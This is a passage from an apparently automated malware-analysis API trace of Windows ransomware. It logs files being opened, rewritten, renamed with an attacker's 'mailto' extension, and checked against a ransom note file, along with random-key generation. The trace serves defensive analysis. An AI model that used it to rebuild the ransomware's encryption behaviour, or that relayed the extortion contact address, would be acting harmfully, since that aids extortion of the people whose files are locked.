users\\usoshared\\logs\\notificationux.001.etl.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0171.536] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.001.etl.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0171.536] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f86118) returned 1 [0171.536] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.001.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0171.536] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x6a) returned 0x3013170 [0171.536] wcscpy (in: _Dest=0x3013170, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0171.536] wcscat (in: _Dest=0x3013170, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0171.536] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0171.537] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013170) returned 1 [0171.537] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3024910) returned 1 [0171.538] RtlExitUserThread (Status=0x1) Thread: id = 1999 os_tid = 0x1024 [0171.541] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.002.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationux.002.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0171.542] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.002.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0171.542] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.002.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationux.002.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0171.542] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x1577fc18 | out: lpFileSize=0x1577fc18*=8384) returned 1 [0171.542] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x20bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.542] ReadFile (in: hFile=0x35c, lpBuffer=0x1577fbec, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1577fbe8, lpOverlapped=0x0 | out: lpBuffer=0x1577fbec*, lpNumberOfBytesRead=0x1577fbe8*=0x4, lpOverlapped=0x0) returned 1 [0171.543] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.543] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057fd0 [0171.543] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057d78 [0171.543] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057da0 [0171.543] NtQuerySystemTime (in: CurrentTime=0x1577fbc4 | out: CurrentTime=0x1577fbc4*=132121213288576808) returned 0x0 [0171.544] RtlRandom (in: Seed=0x1577fbd0 | out: Seed=0x1577fbd0) returned 0xa3dc9176 [0171.544] RtlRandom (in: Seed=0x1577fbd0 | out: Seed=0x1577fbd0) returned 0xe203c07d [0171.544] RtlRandom (in: Seed=0x1577fbd0 | out: Seed=0x1577fbd0) returned 0x844e31de [0171.544] RtlRandom (in: Seed=0x1577fbd0 | out: Seed=0x1577fbd0) returned 0x1ff7b599 [0171.544] RtlRandom (in: Seed=0x1577fbd0 | out: Seed=0x1577fbd0) returned 0xd4c6acef [0171.544] RtlRandom (in: Seed=0x1577fbd0 | out: Seed=0x1577fbd0) returned 0xbb76887f [0171.544] RtlRandom (in: Seed=0x1577fbd0 | out: Seed=0x1577fbd0) returned 0xe4d8c64b [0171.544] RtlRandom (in: Seed=0x1577fbd0 | out: Seed=0x1577fbd0) returned 0x514b445f [0171.544] RtlRandom (in: Seed=0x1577fbd0 | out: Seed=0x1577fbd0) returned 0x7a08f683 [0171.544] RtlRandom (in: Seed=0x1577fbd0 | out: Seed=0x1577fbd0) returned 0xe68fcdad [0171.544] RtlRandom (in: Seed=0x1577fbd0 | out: Seed=0x1577fbd0) returned 0xdd14134 [0171.544] RtlRandom (in: Seed=0x1577fbd0 | out: Seed=0x1577fbd0) returned 0xfee18d0f [0171.544] RtlRandom (in: Seed=0x1577fbd0 | out: Seed=0x1577fbd0) returned 0x9939b1ff [0171.544] RtlRandom (in: Seed=0x1577fbd0 | out: Seed=0x1577fbd0) returned 0xe6b853cf [0171.544] RtlRandom (in: Seed=0x1577fbd0 | out: Seed=0x1577fbd0) returned 0x87be4ae [0171.544] RtlRandom (in: Seed=0x1577fbd0 | out: Seed=0x1577fbd0) returned 0xea70f9e6 [0171.544] RtlRandom (in: Seed=0x1577fbd0 | out: Seed=0x1577fbd0) returned 0x22c10dd2 [0171.544] RtlRandom (in: Seed=0x1577fbd0 | out: Seed=0x1577fbd0) returned 0xf467859a [0171.544] RtlRandom (in: Seed=0x1577fbd0 | out: Seed=0x1577fbd0) returned 0xc93bba12 [0171.544] RtlRandom (in: Seed=0x1577fbd0 | out: Seed=0x1577fbd0) returned 0xea73a8da [0171.544] RtlRandom (in: Seed=0x1577fbd0 | out: Seed=0x1577fbd0) returned 0xddb980c0 [0171.544] RtlRandom (in: Seed=0x1577fbd0 | out: Seed=0x1577fbd0) returned 0xbef9ddcc [0171.544] RtlRandom (in: Seed=0x1577fbd0 | out: Seed=0x1577fbd0) returned 0x96db3b41 [0171.544] RtlRandom (in: Seed=0x1577fbd0 | out: Seed=0x1577fbd0) returned 0x2773330b [0171.544] RtlRandom (in: Seed=0x1577fbd0 | out: Seed=0x1577fbd0) returned 0x80453103 [0171.544] RtlRandom (in: Seed=0x1577fbd0 | out: Seed=0x1577fbd0) returned 0x290faf79 [0171.544] RtlRandom (in: Seed=0x1577fbd0 | out: Seed=0x1577fbd0) returned 0x52989e1e [0171.544] RtlRandom (in: Seed=0x1577fbd0 | out: Seed=0x1577fbd0) returned 0x6f2cf22 [0171.544] RtlRandom (in: Seed=0x1577fbd0 | out: Seed=0x1577fbd0) returned 0x4c87ee10 [0171.544] RtlRandom (in: Seed=0x1577fbd0 | out: Seed=0x1577fbd0) returned 0x262f2cc [0171.544] RtlRandom (in: Seed=0x1577fbd0 | out: Seed=0x1577fbd0) returned 0xdddf8c3a [0171.544] RtlRandom (in: Seed=0x1577fbd0 | out: Seed=0x1577fbd0) returned 0xae84a5 [0171.553] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057dc8 [0171.555] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30130f8 [0171.555] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057e68 [0171.555] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30130f8) returned 1 [0171.555] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057fd0) returned 1 [0171.555] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0171.555] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30133c8 [0171.556] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057fd0 [0171.556] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057fd0) returned 1 [0171.556] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0171.556] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0171.556] ReadFile (in: hFile=0x35c, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x20c0, lpNumberOfBytesRead=0x1577fbc4, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x1577fbc4*=0x20c0, lpOverlapped=0x0) returned 1 [0171.557] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1577fb8c | out: lpNewFilePointer=0x0) returned 1 [0171.557] WriteFile (in: hFile=0x35c, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x20c0, lpNumberOfBytesWritten=0x1577fbc0, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x1577fbc0*=0x20c0, lpOverlapped=0x0) returned 1 [0171.557] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057fd0 [0171.557] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057ff8 [0171.557] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057ff8) returned 1 [0171.557] WriteFile (in: hFile=0x35c, lpBuffer=0x3057fd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1577fbbc, lpOverlapped=0x0 | out: lpBuffer=0x3057fd0*, lpNumberOfBytesWritten=0x1577fbbc*=0x20, lpOverlapped=0x0) returned 1 [0171.557] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057fd0) returned 1 [0171.557] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0171.557] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0171.557] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30133c8) returned 1 [0171.557] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0171.557] WriteFile (in: hFile=0x35c, lpBuffer=0x3057e68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1577fbe8, lpOverlapped=0x0 | out: lpBuffer=0x3057e68*, lpNumberOfBytesWritten=0x1577fbe8*=0x8, lpOverlapped=0x0) returned 1 [0171.557] WriteFile (in: hFile=0x35c, lpBuffer=0x1577fc00*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1577fbe8, lpOverlapped=0x0 | out: lpBuffer=0x1577fc00*, lpNumberOfBytesWritten=0x1577fbe8*=0x4, lpOverlapped=0x0) returned 1 [0171.557] WriteFile (in: hFile=0x35c, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1577fbe8, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1577fbe8*=0x4, lpOverlapped=0x0) returned 1 [0171.557] WriteFile (in: hFile=0x35c, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1577fbe8, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1577fbe8*=0x6c, lpOverlapped=0x0) returned 1 [0171.558] WriteFile (in: hFile=0x35c, lpBuffer=0x3057d78*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1577fbe8, lpOverlapped=0x0 | out: lpBuffer=0x3057d78*, lpNumberOfBytesWritten=0x1577fbe8*=0x20, lpOverlapped=0x0) returned 1 [0171.558] WriteFile (in: hFile=0x35c, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1577fbe8, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1577fbe8*=0x4, lpOverlapped=0x0) returned 1 [0171.558] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057d78) returned 1 [0171.558] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057dc8) returned 1 [0171.558] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057e68) returned 1 [0171.558] CloseHandle (hObject=0x35c) returned 1 [0171.558] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf6) returned 0x2f85b18 [0171.558] wcscpy (in: _Dest=0x2f85b18, _Source="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.002.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.002.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.002.etl.mailto[kokoklock@cock.li].d0e731" [0171.558] wcscat (in: _Dest=0x2f85b18, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.002.etl.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.002.etl.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0171.558] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.002.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationux.002.etl.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.002.etl.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationux.002.etl.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0171.559] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.002.etl.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0171.559] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f85b18) returned 1 [0171.559] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.002.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0171.559] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x6a) returned 0x30134b8 [0171.559] wcscpy (in: _Dest=0x30134b8, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0171.559] wcscat (in: _Dest=0x30134b8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0171.559] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0171.560] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30134b8) returned 1 [0171.560] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9dcb0) returned 1 [0171.560] RtlExitUserThread (Status=0x1) Thread: id = 2000 os_tid = 0x1028 [0171.561] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.001.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.001.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0171.562] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.001.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.562] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.001.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.001.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.562] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.001.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0171.562] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95100) returned 1 [0171.563] RtlExitUserThread (Status=0x0) Thread: id = 2001 os_tid = 0x102c [0171.564] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.002.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.002.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0171.565] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.002.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.565] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.002.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.002.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.565] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.002.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0171.565] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96a28) returned 1 [0171.565] RtlExitUserThread (Status=0x0) Thread: id = 2002 os_tid = 0x1030 [0171.566] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.003.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.003.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0171.567] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.003.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.567] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.003.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.003.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.567] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.003.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0171.567] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f70d80) returned 1 [0171.567] RtlExitUserThread (Status=0x0) Thread: id = 2003 os_tid = 0x1034 [0171.568] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.004.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.004.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0171.568] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.004.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.568] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.004.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.004.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.568] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.004.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0171.569] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ab60) returned 1 [0171.569] RtlExitUserThread (Status=0x0) Thread: id = 2004 os_tid = 0x1038 [0171.570] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.005.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.005.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0171.572] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.005.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.572] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.005.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.005.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.573] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.005.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0171.573] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4fd8) returned 1 [0171.573] RtlExitUserThread (Status=0x0) Thread: id = 2005 os_tid = 0x103c [0171.574] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.006.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.006.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0171.574] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.006.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.574] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.006.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.006.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.574] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.006.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0171.574] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa50a0) returned 1 [0171.574] RtlExitUserThread (Status=0x0) Thread: id = 2006 os_tid = 0x1040 [0171.575] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.007.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.007.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0171.577] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.007.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.577] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.007.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.007.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.577] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.007.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0171.577] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3024080) returned 1 [0171.577] RtlExitUserThread (Status=0x0) Thread: id = 2007 os_tid = 0x1044 [0171.582] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.008.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.008.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0171.582] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.008.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.582] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.008.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.008.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.583] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.008.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0171.583] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3024148) returned 1 [0171.583] RtlExitUserThread (Status=0x0) Thread: id = 2008 os_tid = 0x1048 [0171.584] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.009.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.009.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0171.585] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.009.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.585] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.009.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.009.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.585] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.009.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0171.585] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3024210) returned 1 [0171.585] RtlExitUserThread (Status=0x0) Thread: id = 2009 os_tid = 0x104c [0171.586] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.010.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.010.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0171.586] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.010.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.586] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.010.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.010.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.586] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.010.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0171.587] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8f458) returned 1 [0171.587] RtlExitUserThread 